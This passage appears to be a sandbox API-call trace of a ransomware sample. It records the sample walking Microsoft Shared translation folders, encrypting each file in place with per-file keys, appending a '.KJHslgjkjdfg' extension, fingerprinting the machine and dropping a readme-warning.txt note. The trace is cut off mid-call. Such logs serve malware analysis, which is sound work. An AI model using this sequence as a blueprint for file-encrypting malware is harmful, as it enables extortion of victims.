ftCreationTime.dwLowDateTime=0x9890c900, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x54a7f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9890c900, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1ESEN.DLL", cAlternateFileName="")) returned 1 [0189.604] GetProcessHeap () returned 0x2ef0000 [0189.604] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x28c) returned 0x2f16e68 [0189.604] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22595900, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22595900, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xff7f2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1ESEN.ITS", cAlternateFileName="")) returned 1 [0189.604] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0189.604] GetProcessHeap () returned 0x2ef0000 [0189.604] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0189.604] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0189.604] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0189.604] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xe, lpOverlapped=0x0) returned 1 [0189.607] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.607] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.607] GetProcessHeap () returned 0x2ef0000 [0189.607] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0189.607] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0189.607] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.607] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0189.608] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0189.608] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0189.608] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0189.608] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0189.608] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0189.608] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.608] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.608] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.608] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xff7f2, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xff7f2, lpOverlapped=0x0) returned 1 [0189.628] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xff800, dwBufLen=0xff800 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xff800) returned 1 [0189.639] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.639] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xff800, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xff800, lpOverlapped=0x0) returned 1 [0189.643] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.643] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xff8d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.643] SetEndOfFile (hFile=0x12c) returned 1 [0189.647] GetProcessHeap () returned 0x2ef0000 [0189.647] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0189.647] GetProcessHeap () returned 0x2ef0000 [0189.647] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0189.647] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its.kjhslgjkjdfg")) returned 1 [0189.648] CloseHandle (hObject=0x12c) returned 1 [0189.648] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 1 [0189.648] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0189.649] GetProcessHeap () returned 0x2ef0000 [0189.649] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0189.649] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0189.649] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0189.649] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.649] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.649] GetProcessHeap () returned 0x2ef0000 [0189.649] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0189.649] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0189.649] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.649] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0189.652] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0189.652] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0189.652] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0189.652] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0189.652] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0189.652] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.653] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.653] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.653] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa5c00, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xa5c00, lpOverlapped=0x0) returned 1 [0189.674] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xa5c00, dwBufLen=0xa5c00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xa5c00) returned 1 [0189.682] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.682] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa5c00, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xa5c00, lpOverlapped=0x0) returned 1 [0189.684] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.684] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xa5cc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.684] SetEndOfFile (hFile=0x12c) returned 1 [0189.688] GetProcessHeap () returned 0x2ef0000 [0189.688] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0189.688] GetProcessHeap () returned 0x2ef0000 [0189.688] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0189.688] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex.kjhslgjkjdfg")) returned 1 [0189.690] CloseHandle (hObject=0x12c) returned 1 [0189.690] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 0 [0189.691] GetProcessHeap () returned 0x2ef0000 [0189.691] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0189.691] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.691] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0189.691] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.691] GetProcessHeap () returned 0x2ef0000 [0189.691] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0189.691] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.691] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0189.691] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.691] GetProcessHeap () returned 0x2ef0000 [0189.691] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f14588 [0189.691] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.691] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14588, pdwDataLen=0x4dfee20 | out: pbData=0x2f14588, pdwDataLen=0x4dfee20) returned 1 [0189.691] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.691] GetProcessHeap () returned 0x2ef0000 [0189.691] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0189.691] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.691] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0189.691] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.692] GetProcessHeap () returned 0x2ef0000 [0189.692] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0189.692] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.692] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0189.692] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.692] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x12c) returned 0x0 [0189.692] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0189.692] RegCloseKey (hKey=0x12c) returned 0x0 [0189.692] GetProcessHeap () returned 0x2ef0000 [0189.692] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0189.692] GetProcessHeap () returned 0x2ef0000 [0189.692] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0189.692] GetProcessHeap () returned 0x2ef0000 [0189.692] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0189.692] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.692] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0189.692] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.692] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0189.692] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0189.693] GetProcessHeap () returned 0x2ef0000 [0189.693] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0189.693] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0189.693] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0189.693] GetProcessHeap () returned 0x2ef0000 [0189.693] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f11d10 [0189.693] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\readme-warning.txt") returned 79 [0189.693] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0189.695] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11d10*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f11d10*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0189.697] CloseHandle (hObject=0x12c) returned 1 [0189.697] GetProcessHeap () returned 0x2ef0000 [0189.697] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0189.697] GetProcessHeap () returned 0x2ef0000 [0189.697] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0189.697] GetProcessHeap () returned 0x2ef0000 [0189.697] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0189.697] GetProcessHeap () returned 0x2ef0000 [0189.697] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0189.697] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0189.698] GetProcessHeap () returned 0x2ef0000 [0189.698] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16e68 | out: hHeap=0x2ef0000) returned 1 [0189.698] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FRAR", cAlternateFileName="")) returned 1 [0189.698] GetProcessHeap () returned 0x2ef0000 [0189.698] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8a) returned 0x2f425d0 [0189.698] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0189.699] GetProcessHeap () returned 0x2ef0000 [0189.699] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0189.699] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0189.699] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 1 [0189.699] GetProcessHeap () returned 0x2ef0000 [0189.699] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x28c) returned 0x2f16e68 [0189.699] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0189.700] GetProcessHeap () returned 0x2ef0000 [0189.700] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0189.700] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0189.700] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0189.700] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x2, lpOverlapped=0x0) returned 1 [0189.702] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.702] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.702] GetProcessHeap () returned 0x2ef0000 [0189.702] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0189.702] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0189.702] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.702] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0189.702] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, 